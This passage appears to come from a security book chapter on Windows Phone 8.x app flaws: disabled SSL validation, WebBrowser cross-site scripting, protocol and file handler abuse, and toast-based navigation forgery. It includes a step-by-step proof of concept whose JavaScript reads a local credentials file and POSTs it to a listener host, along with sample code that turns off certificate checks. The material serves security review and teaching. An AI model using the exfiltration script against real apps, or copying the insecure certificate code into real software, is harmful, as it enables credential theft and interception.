Most SSL/HTTPS APIs allow the developer to disable certificate validation checks so that when negotiating an SSL session, no certificate validation checks are actually carried out. Many coders enable this mode when developing an app because many test environments are wired up to use self-signed or otherwise untrusted certificates, which makes perfect sense while still in the development process. No SSL certificate validation errors are thrown because of self-signed certs or otherwise, and the developers can do their job and get the app developed and tested without issue.

However, having developers who forget to remove the code that disables certificate validation is common, and many apps end up shipping with the vulnerable code.

Even worse, some apps end up shipping with non-validating SSL API call patterns simply because developers copied and pasted the code from a site like Stack Overflow after they couldn’t figure out why their code wouldn’t work in the (self-signed certificated) test environment.

In Windows Phone 8, no (documented) way exists to disable SSL certification validation in the HTTPS APIs.

In Windows Phone 8.1, however, you can instruct the Windows.Web.Http .HttpClient to ignore untrusted certificates using the HttpBaseProtocolFilter class (see http://blogs.msdn.com/b/wsdevsol/archive/2013/10/17/how-to-ignore-self-signed-certificate-errors-in-windows-store-apps-8-1.aspx).

Apps using Windows.Web.Http.HttpClient that have SSL certificate validation disabled are likely to be using code resembling the following:

HttpBaseProtocolFilter filter = new HttpBaseProtocolFilter(); 
 
filter.IgnorableServerCertificateErrors.Add( 
ChainValidationResult.Untrusted); 
filter.IgnorableServerCertificateErrors.Add( 
ChainValidationResult.Expired); 
 
var httpClient = new Windows.Web.Http.HttpClient(filter); 
 
try 
{ 
    var uri = new Uri("https://www.myapp.com/..."); 
    HttpResponseMessage response = await httpClient.GetAsync(uri); 
} 

In the preceding code, untrusted and expired certificates are set as trusted. Luckily, this is easy to spot in a code review and when using manual testing, because traffic will pass through a proxy, whereas the SSL negotiation process should fail if certificate checking occurred!

Apps may also add ignore settings for other certificate errors, such as:

filter.IgnorableServerCertificateErrors.Add( 
ChainValidationResult.IncompleteChain); 
filter.IgnorableServerCertificateErrors.Add( 
ChainValidationResult.WrongUsage); 
filter.IgnorableServerCertificateErrors.Add( 
ChainValidationResult.InvalidName); 
filter.IgnorableServerCertificateErrors.Add( 
ChainValidationResult.RevocationInformationMissing); 
filter.IgnorableServerCertificateErrors.Add( 
ChainValidationResult.RevocationFailure); 

Certificate validation in System.Net.Http.HttpClient, however, cannot be disabled using any publicly documented method.

Attacking WebBrowser and WebView Controls

We mentioned earlier that WebBrowser controls can represent an entry point and source of vulnerabilities in third-party apps. Use of WebBrowser controls in Windows Phone apps is common, so we’ll now discuss potential security problems that can result from not using them carefully.

Cross-Site Scripting

Because WebBrowser and WebView controls are a subset of browser functionality embedded into a Windows Phone app, it’s probably no surprise that they could be vulnerable to cross-site scripting (XSS).

To create a WebBrowser control within a page of an application, developers insert (manually or using their IDE) something similar to the following into the page’s XAML file:

<phone:WebBrowser HorizontalAlignment="Left" Margin="20,50,0,0" 
Name="myWebBrowser" 
VerticalAlignment="Top" Height="500" Width="430" /> 

Within their codebase, developers may then use their embedded WebBrowser control, whose object name is myWebBrowser.

Likewise, in Windows Phone 8.1 apps, to embed a WebView within a page, XAML similar to the following could be used:

<WebView x:Name="myWebView" 
         Height="425" 
         HorizontalAlignment="Stretch" 
         VerticalAlignment="Stretch" 
         ScrollViewer.ZoomMode="Disabled" 
        ScrollViewer.VerticalScrollBarVisibility="Disabled" 
         Loaded="webView_Loaded" 
         NavigationFailed="webView_NavigationFailed" 
         NavigationCompleted="webView_NavigationCompleted" 
         Visibility="Visible"/> 

You could then instruct the control (in both WebView and WebBrowser cases) programmatically to load a page, say www.google.co.uk, with code such as the following:

myWebBrowser.Source = new Uri("http://www.google.co.uk", 
UriKind.Absolute); 

or

myWebBrowser.Navigate(new Uri("http://www.google.co.uk", 
UriKind.Absolute)); 

A very important point to note is that these code fragments load a standard http:// URL, in particular, http://www.google.co.uk. Because the HTTP session takes place over an unsecured channel, the connection is ultimately vulnerable to man-in-the-middle attacks, and moreover, injection into the HTTP response stream that will be received and parsed by the WebBrowser control. If the control had been instructed toward https://www.google.co.uk, a man-in-the-middle attack would be particularly difficult, and an attacker would be unable to inject any data into the HTTP response returning to the WebBrowser or WebView. (SSL API implementation vulnerabilities aside!)

Now, suppose an attacker managed a man-in-the-middle attack on the targeted device (think public, guest, and coffee shop Wi-Fi). One might assume that he could simply inject malicious JavaScript into www.google.co.uk’s response, and launch some kind of attack against the user. Or, suppose an attacker carried out a persistent (stored) cross-site scripting attack on the site the control is navigated to.

The preceding assumption is quite correct, when JavaScript is enabled on the WebBrowser control in question. By default, WebBrowser and WebView controls have JavaScript disabled, but developers often enable JavaScript just because their app or the plumbing of that particular interface relies on it.

The are two ways JavaScript can be enabled on an embedded WebBrowser are programmatically and in the page’s XAML file.

Carrying on with the hypothetical myWebBrowser object, you could use the following line of code to enable JavaScript execution:

myWebBrowser.IsScriptEnabled = true; 

In programmatic enablement, it’s as simple as setting a Boolean named IsScriptEnabled to true.

Enabling JavaScript when actually declaring the WebBrowser control in the page’s XAML file is also possible, as in the following markup:

<phone:WebBrowser HorizontalAlignment="Left" Margin="20,50,0,0" 
Name="myWebBrowser"  IsScriptEnabled="True" 

VerticalAlignment=”Top” Height=”500” Width=”430” /> Note that WebView controls do not automatically execute JavaScript that is present in rendered pages; instead, the app must instruct the control to execute functions using the InvokeScript or InvokeScriptAsync functions. For example:

await myWebView.InvokeScriptAsync("myFunction", null); 

Both the WebBrowser and WebView classes also feature a method named NativeToString(). Feeding an attacker-controlled string into this function also represents a script execution vector, such as the following:

myWebBrowser.NavigateToString(attackerControlledHTMLString); 

WebBrowser and WebView controls should ideally use https:// as opposed to http:// URLs wherever possible. This is even truer if the control has JavaScript enabled on it. Whether JavaScript is enabled or not, lack of SSL on the connection should be considered against best practices. Equally, attacker controllable strings should never be passed to the NavigateToString() method.

Even when the loaded page is just publicly accessible content, SSL should still be used. Smartphone users are generally quite prone to man-in-the-middle attacks, because joining open Wi-Fi networks when out and about, such as public hotspots, and hotel and other guest Wi-Fi networks, is common. GPRS (General Packet Radio Service) and other cellular technologies are also prone to man-in-the-middle attacks that facilitate injection into non-SSL sessions. This is in contrast to desktop or laptop use, where users tend to use secured Wi-Fi or wired connections, and can often be fairly confident that local eavesdropping is somewhat unlikely.

Possible attacks could involve injecting JavaScript, which renders a convincing fake interface in the embedded WebBrowser or WebView, such as providing a prompt for the user’s PIN, password, or other sensitive information, which could then be sent back to the attacker’s web server.

Local Scripting Attacks

Occasionally, an application may deliberately save a web page to a file, or dynamically generate HTML/JavaScript content, and likewise save the content to a file.

If an attacker can influence the contents of the locally saved HTML file in an arbitrary way, serious security issues can arise due to the same-origin policy (SOP). Although a full description of SOP is beyond the scope of this book, the key purpose of SOP is to prevent a script running in one host’s context from requesting content from another host, and being able to read it. This violates the same-origin policy and is the reason a web page cannot make a request to your online banking site and read the response, which may contain sensitive details such as your balance and recent transactions.

The same-origin policy holds true for all (modern) web browsers; JavaScript running on hostA.com cannot make an AJAX request (for example) to hostB.com and read the response, because the two pieces of content are not from the same origin.

However, when a page is loaded from the local filesystem, other files on the system are from the same origin, or the local zone. This effectively means that if a local file is loaded into a WebBrowser control, JavaScript within it is actually able to request other local files on the filesystem (within sandboxing constraints) and access their contents, because this in line with the same-origin policy. This was first documented by Alex Plaskett and Nick Walker (https://labs.mwrinfosecurity.com/system/assets/651/original/mwri_wp8_appsec-whitepaper-syscan_2014-03-30.pdf).

This fact should set off alarm bells; if an app writes an HTML file to disk that contains attacker-controlled JavaScript, the attacker can steal files from the device, within WP8.x’s sandboxing constraints.

Demonstrating this is straightforward to do by putting together a simple app that contains a WebBrowser that loads a local file. The local file, in this demo, contains JavaScript that loads a local file named credentialsFile.txt in an iframe; the JavaScript then POSTs these contents to another host. This other host, in a real attacker scenario, would be under the control of the attacker.

To carry out the attack, a particular protocol handler will be used to open the local file: x-wmapp0:. This protocol handler allows demonstration of the attack perfectly—file://secretFile.txt, on the other hand, will not work.

For the sake of proof-of-concept, follow these steps that demonstrate that local script execution can indeed access and steal local files within the app’s sandbox.

  1. In Visual Studio Express 2012 for Windows Phone, create a new project of type Windows Phone HTML5 App.
  2. In MainPage.xaml, insert the following:

    <phone:PhoneApplicationPage 
        x:Class="HTML5App1.MainPage" 
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
     
    xmlns:phone="clr- 
    namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone" 
        xmlns:shell="clr- 
    namespace:Microsoft.Phone.Shell;assembly=Microsoft.Phone" 
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008" 
     
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" 
        mc:Ignorable="d" 
        FontFamily="{StaticResource PhoneFontFamilyNormal}" 
        FontSize="{StaticResource PhoneFontSizeNormal}" 
        Foreground="{StaticResource PhoneForegroundBrush}" 
        SupportedOrientations="Portrait" Orientation="Portrait" 
        shell:SystemTray.IsVisible="True"> 
     
        <!--LayoutRoot is the root grid where all page content is placed--> 
        <Grid x:Name="LayoutRoot" Background="Transparent"> 
            <phone:WebBrowser x:Name="Browser" 
                              HorizontalAlignment="Stretch" 
                              VerticalAlignment="Stretch" 
                              Loaded="Browser_Loaded" 
                              NavigationFailed="Browser_NavigationFailed" /> 
        </Grid> 
     
        <!-- ApplicationBar --> 
        <phone:PhoneApplicationPage.ApplicationBar> 
            <shell:ApplicationBar IsVisible="True" 
    IsMenuEnabled="True" Mode="Minimized"> 
                <shell:ApplicationBarIconButton 
    IconUri="/Assets/AppBar/appbar.back.rest.png" 
    IsEnabled="True" Text="back" Click="BackApplicationBar_Click"/> 
                <shell:ApplicationBarIconButton 
    IconUri="/Assets/AppBar/appbar.next.rest.png" 
    IsEnabled="True" Text="forward" 
    Click="ForwardApplicationBar_Click"/> 
                <shell:ApplicationBar.MenuItems> 
                    <shell:ApplicationBarMenuItem Text="home" 
    Click="HomeMenuItem_Click" /> 
                </shell:ApplicationBar.MenuItems> 
            </shell:ApplicationBar> 
        </phone:PhoneApplicationPage.ApplicationBar> 
     
    </phone:PhoneApplicationPage> 
  3. In MainPage.xaml.cs, insert the following C# code:

    using System; 
    using System.Collections.Generic; 
    using System.Linq; 
    using System.Net; 
    using System.Windows; 
    using System.Windows.Controls; 
    using System.Windows.Navigation; 
    using Microsoft.Phone.Controls; 
    using Microsoft.Phone.Shell; 
     
    namespace HTML5App1 
    { 
        public partial class MainPage : PhoneApplicationPage 
        { 
            // Url of Home page 
            private string MainUri = "/Html/index.html"; 
     
            // Constructor 
            public MainPage() 
            { 
                InitializeComponent(); 
            } 
     
            private void Browser_Loaded(object sender, RoutedEventArgs e) 
            { 
                // Add your URL here 
                //Browser.Navigate(new Uri( 
    "http://www.google.co.uk", UriKind.Absolute)); 
                Browser.IsScriptEnabled = true; 
                Browser.Navigate(new Uri(MainUri, UriKind.Relative)); 
     
            } 
     
            // Navigates back in the web browser's navigation stack, not the 
    applications. 
            private void BackApplicationBar_Click(object sender, 
    EventArgs e) 
            { 
                Browser.GoBack(); 
            } 
     
            // Navigates forward in the web browser's navigation stack, 
            //not the applications. 
            private void ForwardApplicationBar_Click(object sender, 
    EventArgs e) 
            { 
                Browser.GoForward(); 
            } 
     
            // Navigates to the initial "home" page. 
            private void HomeMenuItem_Click(object sender, EventArgs e) 
            { 
              //  Browser.Navigate(new Uri("http://www.google.co.uk", 
     
    UriKind.Absolute)); 
                Browser.IsScriptEnabled = true; 
                Browser.Navigate(new Uri(MainUri, UriKind.Relative)); 
            } 
     
            // Handle navigation failures. 
            private void Browser_NavigationFailed(object sender, 
    System.Windows.Navigation.NavigationFailedEventArgs e) 
            { 
                MessageBox.Show("Navigation to this page failed"); 
            } 
        } 
    } 
  4. In Solution Explorer, open Html/index.html and insert the following HTML and JavaScript:

    <!DOCTYPE html> 
    <html> 
      <body onload="getIframeContent('testFrame'),"> 
        <iframe id="testFrame" src="x-wmapp0:credentialsFile.txt" > 
        </iframe> 
      </body> 
      <script> 
        function getIframeContent(frameId) { 
        var frameObj = document.getElementById(frameId); 
        var frameContent = frameObj.contentWindow.document.body.innerHTML; 
     
        var x = new XMLHttpRequest(); 
        x.open('POST','http://10.0.0.29:8000',true); 
     
        try { x.send(frameContent); 
        } catch (e) { // error 
        } 
        } 
      </script> 
    </html> 

    Change http://10.0.0.29:8000 to the IP address of your test laptop or desktop box.

  5. Using Solution Explorer, right-click the project name and go to Add New Item Text File and insert the following contents into it.

    • username: adminUser
    • password: secretPwd123
  6. Rename the file to credentialsFile.txt.
  7. Set up a netcat listener on your test box; that is, $ nc -l 8000.
  8. Run the app on your device or emulator, and observe the traffic in your netcat listener:
     $ nc -l 8000 
    POST / HTTP/1.1 
    Accept: */* 
    Accept-Language: en-GB 
    Content-Type: text/plain;charset=UTF-8 
    UA-CPU: ARM 
    Accept-Encoding: gzip, deflate 
    User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; 
    Trident/6.0; IEMobile/10.0; ARM; Touch; SAMSUNG; GT-I8750) 
    Host: 10.0.0.29:8000 
    Content-Length: 53 
    Connection: Keep-Alive 
    Cache-Control: no-cache 
     
    <pre>username: adminUser 
    password: secretPwd123</pre> 

Hence, the file was submitted to our fake web server, which is quite worrisome, and a good indicator of the dangers of local scripting!

This method, using the x-wmapp0 file handler, can be used to retrieve any file within the app’s sandboxing restraints. Practically, this means anywhere in an app’s IsolatedStorage and anywhere within the app’s Install directory. That is, more specifically:

  • C:Dataprograms{GUID}Install*All files installed with the bundle
  • C:DataUsersDefAppsAPPDATA{GUID}*The app’s IsolatedStorage/Local directory

Because file disclosure is likely to represent a serious vulnerability in sensitive apps (such as banking, secure Bring Your Own Device containers, and so on), you should take great care if your app writes influenced data to a file to be rendered in a WebBrowser or WebView context later.

JavaScript-C# Communication

The possibility exists for JavaScript running in WebBrowser and WebView controls to pass data back to the application’s C# layer. This can be a useful tool, particularly for developers who choose to implement much of an app’s logic in JavaScript.

You achieve communication between the JavaScript and C# layers by implementing a WebBrowser or WebView script notification event handler. You do this using the ScriptNotify parameter in the control’s XAML tag. For a WebBrowser control, this may look like:

<phone:WebBrowser x:Name="Browser" ScriptNotify="myEventHandler" 
HorizontalAlignment="Stretch" 
VerticalAlignment="Stretch" 
Loaded="Browser_Loaded" 
NavigationFailed="Browser_NavigationFailed" /> 

And for a WebView control, similarly:

<WebView x:Name="myWebView" 
Height="425" 
HorizontalAlignment="Stretch" 
VerticalAlignment="Stretch" 
ScrollViewer.ZoomMode="Disabled" 
ScrollViewer.VerticalScrollBarVisibility="Disabled" 
ScriptNotify="myEventHandler" 
Loaded="webView_Loaded" 
NavigationFailed="webView_NavigationFailed" 
NavigationCompleted="webView_NavigationCompleted" 
Visibility="Visible"/> 

The application will define the script notification callback:

private void myEventHandler(object sender, NotifyEventArgs e)  { 
         MessageBox.Show(e.Value); 
} 

JavaScript executing in a WebBrowser or WebView control may then pass a value into the event handler (myEventHandler()) using the window.external.notify() API:

window.external.notify("value passed in from JS"); 

Predictably, in the previous example, the message box would display the "value passed in from JS" string.

Developers should not assume that values passed in (e.Value in the previous example) from the JavaScript layer are safe because the possibility exists that attacker-controlled JavaScript may be executing the WebBrowser or WebView control via one route or another (such as man-in-the-middle), and so values passed in via script notification handlers should be treated with caution and not blindly trusted.

What an app actually does with values passed in from JavaScript will vary from app to app. When WebBrowser and WebView control XAML definitions have a ScriptNotify parameter present, reviewing the handler carefully to see whether any risk exists if an attacker does manage to inject a window.external .notify()call into the WebBrowser or WebView’s content is worth your time.

Identifying Interprocess Communication Vulnerabilities

Interprocess communication (IPC) mechanisms were briefly introduced previously in this chapter. Use of IPC mechanisms allow two completely separate apps to launch other apps, and communicate with apps offering IPC interfaces, often to pass information between the two, or to influence or use part of another app’s functionality in some way.

We’ve already mentioned the two types of IPC that the Windows Phone 8.x OSes support: file extension handlers and protocol handlers. This section covers each of these two mechanisms and shows how they are implemented in real applications, and how, as a result, an attacker may be able to interact with another application and possibly exploit weaknesses or vulnerabilities in an app.

Protocol Handlers

Applications declare the scheme for their URL handler in their main manifest file. In apps targeted to work on both Windows Phone 8 and 8.1, this will be WMAppManifest.xml. A typical definition for a sample scheme (myproto:) would generally take the following form:

<Protocol Name="myproto" NavUriFragment="encodedLaunchUri=%s" 
TaskID="_default" /> 

Then, upon installation of the app, assuming the URL scheme is not already taken, the OS registers the scheme to the app in question.

If an app is only targeted at Windows Phone 8.1, that is, it is an APPX package, the protocol handler declaration will be inside the Package.appxmanifest file, and may look something like this:

<Extension Category="windows.protocol" EntryPoint="xxxx"> 
  <Protocol Name="myproto"> 
    <Logo>test.jpg</Logo> 
    <DisplayName>myproto</DisplayName> 
  </Protocol> 
</Extension> 

A handler must then be implemented to act as the entry point for when the app launches due to some outside source invoking a myproto: URL. You do this quite simply by implementing the UriMapperBase interface (see http://msdn.microsoft.com/en-us/library/windows/apps/jj206987(v=vs.105) .aspx#BKMK_URIassociations):

class myUriMapper : UriMapperBase 
{ 
      private string fullUri; 
      public override Uri MapUri(Uri myUri) { 
 
      fullUri = HttpUtility.UrlDecode(myUri.ToString()); 
 
      if(fullUri.Contains("myproto:")) { 
 
        // get data after "myproto:" scheme 
        string data = fullUri.IndexOf("myproto:") + 8; 
        // do something useful with data 
       } 
 } 
 } 

The preceding code URL-encodes the entire URL that was invoked, and then checks it for the presence of the URL scheme that we’re interested in handling in this case (because an app may register for and deal with more than one URL scheme). If myproto: is present, a reference to all data after the myproto: string is given to the data variable, and then the app is free to parse the rest of the data and use it in whatever way it pleases.

Although this example handler doesn’t actually do any useful work, consider an example for a hypothetical VoIP application that has a URL handler named myvoip: and initiates a call automatically every time its URL scheme is invoked with a phone number:

class myUriMapper : UriMapperBase 
{ 
      private string fullUri; 
 
      public override Uri MapUri(Uri myUri) { 
 
         fullUri = HttpUtility.UrlDecode(myUri.ToString()); 
 
         if(fullUri.Contains("myvoip:CallNumber?number=")) { 
            // get phone number 
            string phoneNo = fullUri.IndexOf("number=") + 7; 
 
            // launch call screen with number 
             return new Uri("/DoCall.xaml?phoneNumber=" + 
                 phoneNo, UriKind.Relative); 
         } 
 
       return myUri;  // else launch normally 
      } 
} 

This VoIP URL handler extracts the phone number passed to the handler and then maps the request to the DoCall.xaml page, passing the phone number with it. The implementation code for the DoCall.xaml page (DoCall .xaml.cs) takes the phone number passed in and automatically initiates a phone call to it.

When XAML pages are navigated to, as in the previous URL handler, its OnNavigatedTo method is called. Parameters can be passed in the same way as standard URLs, as demonstrated previously when a phone number is passed into the page. DoCall.xaml.cs could have an implementation similar to the following:

protected override void OnNavigatedTo(NavigationEventArgs e) { 
 
    string phoneNumber; 
 
    if (this.NavigationContext.QueryString.ContainsKey("phoneNumber")) 
    { 
         phoneNumber = this.NavigationContext.QueryString["phoneNumber"]; 
         bool ret = await DoVoIPCall(phoneNumber); 
    } 
    // other logic 
    else { 
        [ ... ] 
  } 
} 

This functionality would be callable via an appropriately crafted invocation of myvoip:, such as myvoip:CallNumber?number=12345678901, which results in the DoCall.xaml page being opened as in DoCall.xaml?phoneNumber=12345678901.

You can fairly easily see how a call being initiated without permission from the user could be a bad thing, and although this hypothetical case is just an example, it’s not detached from reality. In fact, a very popular VoIP application was vulnerable to almost exactly the same bug: Its protocol handler allowed calls to be launched without prompting the user for permission. Issues with this liberal allowance for initiating calls could range from undesirably wasting a user’s calling credit, to effectively eavesdropping on a user’s real-life conversation by calling a number owned by the attacker.

Consider another example protocol handler, this time an application that in some place renders a web page in a WebBrowser control. This particular hypothetical application offers the ability to change the page that it renders in the WebBrowser:

class myUriMapper : UriMapperBase 
{ 
    private string fullUri; 
    public override Uri MapUri(Uri myUri) { 
        fullUri = HttpUtility.UrlDecode(myUri.ToString()); 
        if(fullUri.Contains("myapp:ChangeSettings?homePage=")) { 
            // get phone number 
            string page = fullUri.IndexOf("homePage=") + 9; 
            // launch call screen with number 
            return new Uri("/ChangeSettings.xaml?homePage=" 
                          + phoneNo, UriKind.Relative); 
        } 
        return myUri;  // else launch the app normally 
    } 
} 

Having the ability to change the page rendered by an app’s WebBrowser control presents possible attack vectors, such as, phishing attacks via fake login screens, because WebBrowser controls do not actually show the URL of the current page. Such functionality is conceivable, as well, because some apps may need to be able to update or change the location to be rendered at will (for example, by a page that is being rendered in the WebBrowser in the first place).

Other attack scenarios could involve inclusion of data passed into dynamically generated web pages, SQL injection, and other application-specific privileged or sensitive actions. When URL handlers are offered by an app, you should find out what action is taken. (For example, it is likely that the request is mapped to a XAML page.) You also need to ascertain what action occurs with any inputted data from there. (In this case, what happens in OnNavigatedTo()?) Manual testing and code review are both viable options, with code review being generally preferred when original or reflected code has been gleaned.

Now that we’ve discussed the basics of custom protocol handlers and how they could possibly present security risks, it’s worth summarizing all the ways that URL handlers can be invoked, because this is ultimately what an attacker will be concerned with. In no particular order, they are:

  • By web pages being viewed in Internet Explorer or another web browser—This can be done either via a hyperlink,

    <a href=myApp://abcd>click me</a> 

    or via a URL scheme that is followed automatically, such as via an iframe, an event handler, or otherwise:

    <iframe id="testFrame" src="myApp://abcd" > 

    The user is not prompted for permission to launch the app.

    By web pages in WebBrowser and WebView controls—This can be done either via a hyperlink,

    <a href=myApp://abcd>click me</a> 

    or via a URL scheme that is followed automatically, such as via an iframe, an event handler, or otherwise:

    <iframe id="testFrame" src="myApp://abcd" > 

    The user is not prompted for permission to launch the app.

  • By other apps on the device—

    Windows.System.Launcher.LaunchUriAsync(new System.Uri( 
                                    "myApp://aaaaaaaa")); 

    The user is not prompted for permission to launch the app.

    By a nearby NFC device or tag—For example, from a proximate Windows Phone, other smartphone, or NFC tag:

    long Id = device.PublishUriMessage(new System.Uri("myUrl:something")); 

    The user is prompted for permission to accept and launch the URL—unless the app being launched was ticked as trusted during a previous launch. Trusting an app to allow NFC URL launches is only available in Windows Phone 8.1, not 8.

File Handlers

Applications can register to be associated with file extensions. Then, when a file bearing that file extension is opened on the device, the registered app launches and can make a copy of the file, open it, parse it, and otherwise handle it in the way that it is designed. For example, a PDF viewer would register to be associated with the .pdf file extension, and upon a PDF file being opened, the app would launch, parse the file, and attempt to render it.

Because many apps that register as file extension handlers parse the data found in opened files bearing their extension, the scope for interesting security bugs becomes quite apparent.

Additionally, files that are received via email or via browser downloads and then opened also result in file handling behavior being honored, so file handlers offer avenues of attack for completely remote attackers if vulnerable apps are installed on a given device.

An app’s intention to be associated with one or more file extensions is declared in the manifest file, much as for protocol handlers. If the app has been built and distributed for both Windows Phone 8 and 8.1 (that is, XAP), this desire will be the WMAppManifest.xml file, and a sample app may register for the .myExt file extension using some markup like the following:

<Extensions> 
      <FileTypeAssociation TaskID="_default" Name="app" 
NavUriFragment="fileToken=%s"> 
        <Logos> 
          <Logo Size="small" IsRelative="true">Assets/img_small.png 
          </Logo> 
          <Logo Size="medium" 
IsRelative="true">Assets/img_medium.png</Logo> 
          <Logo Size="large" IsRelative="true">Assets/img_large.png 
</Logo> 
        </Logos> 
        <SupportedFileTypes> 
          <FileType ContentType="application/myExt">.myExt</FileType> 
        </SupportedFileTypes> 
      </FileTypeAssociation> 
    </Extensions> 

If the app targets only Windows Phone 8.1 and is therefore an APPX package, the file extension handler declaration will be located in the app’s Package .appxmanifest file, and may resemble this:

<Extension Category="windows.fileTypeAssociation"> 
  <FileTypeAssociation Name="myext"> 
    <DisplayName>myExt</DisplayName> 
    <SupportedFileTypes> 
      <FileType ContentType="application/myext">.myExt 
      </FileType> 
    </SupportedFileTypes> 
  </FileTypeAssociation> 
</Extension> 

The application must then register a handler to be called into when a file bearing the .myExt extension is opened. This is done in a similar manner as for protocol handlers: by implementing the UriMapperBase interface.

A hypothetical app could contain the following code:

namespace sdkAutoLaunch 
{ 
    class AssociationUriMapper : UriMapperBase 
    { 
        private string fullUri; 
 
        public override Uri MapUri(Uri uri) 
        { 
            fullUri = uri.ToString(); 
 
            // a file association launch 
            if (fullUri.Contains("/FileTypeAssociation")) 
            { 
                 // Get the file ID 
                int fileIDIndex = fullUri.IndexOf("fileToken=") + 10; 
                string fileID = fullUri.Substring(fileIDIndex); 
 
                // get the name of the file that was opened 
                string incomingFileName = 
 SharedStorageAccessManager.GetSharedFileName(fileID); 
                // Get the file ext of file that was opened 
                string incomingFileType = 
Path.GetExtension(incomingFileName); 
 
                // switch case, we may have registered more than 
                // one file extension 
                switch (incomingFileType) 
                { 
                    case ".myExt": 
                        return new Uri("/ParseFile.xaml?fileToken=" 
                                     + fileID, UriKind.Relative); 
 
                        // handle other file exts we reg'd for? 
// ... 
 
                        default: 
                            return new Uri("/MainPage.xaml", 
UriKind.Relative); 
                } 
            } 
            return uri; // else launch app normally 
        } 
    } 
} 

This code receives a URL string (in the Uri parameter) of the form /FileTypeAssociation?fileToken={GUID}; this string is then parsed. Ultimately the app launches its ParseFile.xaml page and passes the file’s token to it, whenever a .myExt file has been opened on the device.

ParseFile.xaml.cs could contain the following code, which copies the file from the OS’s shared storage space into its own IsolatedStorage, opens it, and then begins parsing it:

protected override async void OnNavigatedTo(NavigationEventArgs e) 
{ 
    base.OnNavigatedTo(e); 
    if (NavigationContext.QueryString.ContainsKey("fileToken")) 
    { 
        // copy the file from shared storage to our own sandboxed 
        // storage space 
Await SharedStorageAccessManager.CopySharedFileAsync( 
ApplicationData.Current.LocalFolder, "newFile.myExt", 
 NameCollisionOption.ReplaceExisting, 
NavigationContext.QueryString["fileToken"]); 
 
        var file = await folder.GetFileAsync("newFile.myExt"); 
        // open the file for reading 
        using (var fs = await file.OpenAsync(FileAccessMode.Read)) 
        { 
            using (var inStream = fs.GetInputStreamAt(0)) 
            { 
                using (var reader = new DataReader(inStream)) 
                { 
                    await reader.LoadAsync((uint)fs.Size); 
 
                    // parse the file contents 
                    parseInputFile(reader); 
                } 
            } 
        } 
 
    } 
} 

The details of what the hypothetical parser (in this case, the parseInputFile() method) actually does with the file contents would be completely application dependent; however, many apps are likely to have registered their file extension(s) so that they can parse, process, or otherwise use files of a certain type in a useful way. For example, apps may register so that they act as the device’s PDF viewer or image viewer.

Other apps may parse binary files in some way, or they may open the file, and then send it back to the developer’s server for use, and perhaps do some parsing on it in between—think collecting telemetry statistics, logs, or crash dumps. Whatever the case, designing secure file parsers can be difficult; homegrown file parsers don’t exactly have a history for being very secure! Some mature apps from the desktop may have been ported to Windows Phone and may be using the desktop app’s parsing engine that was written in native code, via P/Invoke, which may spell trouble.

After you’ve identified the code path that is followed when the registered file type is opened, it’s time to dig into the parser or processor for bugs. You can do this using source code (original or reflected), or via some kind of file format fuzzing.

Before concluding this section on protocol and file handlers, let’s look at the possible ways files can be launched:

  • By web pages being viewed in Internet Explorer—The user is not prompted for permission to launch the app.
  • By web pages in WebBrowser and WebView controls—
  • The user is not prompted for permission to launch the app.
  • From email attachments—The user is not prompted for permission to launch the app.
  • By other apps on the device—For example here the user is not prompted for permission to launch an app.

    StorageFolder local = 
         Windows.Storage.ApplicationData.Current.LocalFolder; 
     
    StorageFile bqfile = await local.GetFileAsync("file.theirExt"); 
     
    // launch the file 
    Windows.System.Launcher.LaunchFileAsync(bqfile); 
  • By a nearby NFC device—For example from a proximate Windows Phone, other smartphone, or NFC tag.

    The user is prompted for permission to accept and launch the fileunless the app being launched has been “ticked” as trusted during a previous launch. Trusting an app to allow NFC URL launches is only available in Windows Phone 8.1, not 8.

  • From SD cards—This is a special case, and was discussed earlier in this chapter, see the earlier section “SD Cards” under “Analyzing for Entry Points” for more information.

Toast Notifications

Toast notifications are small message bars that appear at the top of the screen to notify the user of an event. Typically, an app will publish a toast when something happens that the user may want to react to, such as receiving an instant message.

When an app sends a toast notification, it specifies which of its pages should be launched if the user chooses to tap the toast. The general idea is that upon tapping a toast, users should be taken to the page where they can act upon the event that the toast was informing them of. For example, following on from the previous instant message example, the toast may map them to an XAML page in the app where they can view the conversation and respond to the received message. If no specific XAML page is specified with a toast notification, the default behavior is to take the user to the app’s main page.

Using Windows Phone’s standard API, ShellToast, applications are only able to send toast notifications that when tapped link to XAML pages within their own app. That is, URIs must be relative to the app, such as /MyXaml.xaml.

In Windows Phone 8 (not 8.1), however, this restriction can be bypassed by calling the underlying native API, Shell_PostMessageToast(), which is exported by ShellChromeAPI.dll. That is to say, if an application crafts a call to Shell_PostMessageToast() in the right way, a toast can be sent that when tapped launches an XAML page in a completely different app, parameters to the XAML page included. cpuguy disclosed and demonstrated this on xda-developers.com, in a forum post located here at http://forum.xda-developers .com/showthread.php?t=2398275.

So, for example, a malicious app could send a toast via Shell_PostMessageToast() that when tapped launches VulnerablePage.xaml in another third-party app, with custom parameters; that is:

/VulnerablePage.xaml?params=maliciousData 

In this sense, toast notifications represent an interesting entry point in a similar way to protocol handlers—to enter into the OnNavigatedTo() method of an XAML page. However, unlike protocol handlers, which generally map to hard-coded XAML pages, sending toasts allows entry into arbitrary XAML pages of other third-party apps—as long as the user taps the toast. Consider, for example, an XAML page that is responsible for making important configuration changes, which could be leveraged by coaxing an unsuspecting user into tapping a seemingly innocuous toast notification.

XAML pages (and their implementation code) that are deliberately mapped via protocol handlers may be coded defensively, because developers are aware that such well-exposed entry points are prime targets for attack. However, pages that developers never intended to be arbitrarily callable by anyone other than themselves may be less secure. For example, some XAML page implementations may parse arguments and assume they are trusted, because that page was not mapped via a protocol handler or any other means. Toasts provide a means for attacking these.

This type of attack has been dubbed Cross-Application Navigation Forgery by Alex Plaskett and Nick Walker in their Windows Phone 8 security whitepaper (https://labs.mwrinfosecurity.com/system/assets/651/original/mwri_wp8_appsec-whitepaper-syscan_2014-03-30.pdf).

This exact attack is what allowed all capabilities to be gained on the Samsung Ativ running certain versions of Windows Phone, by opening a registry editor in the Diagnosis app that was otherwise inaccessible. (See the Chapter 10 section, “Building a Test Environment.”)

Sending Arbitrary Toasts

You can send arbitrary toast notifications using the Shell_PostMessageToast() API from ShellChromeAPI.dll, which has the following function prototype:

WINADVAPI 
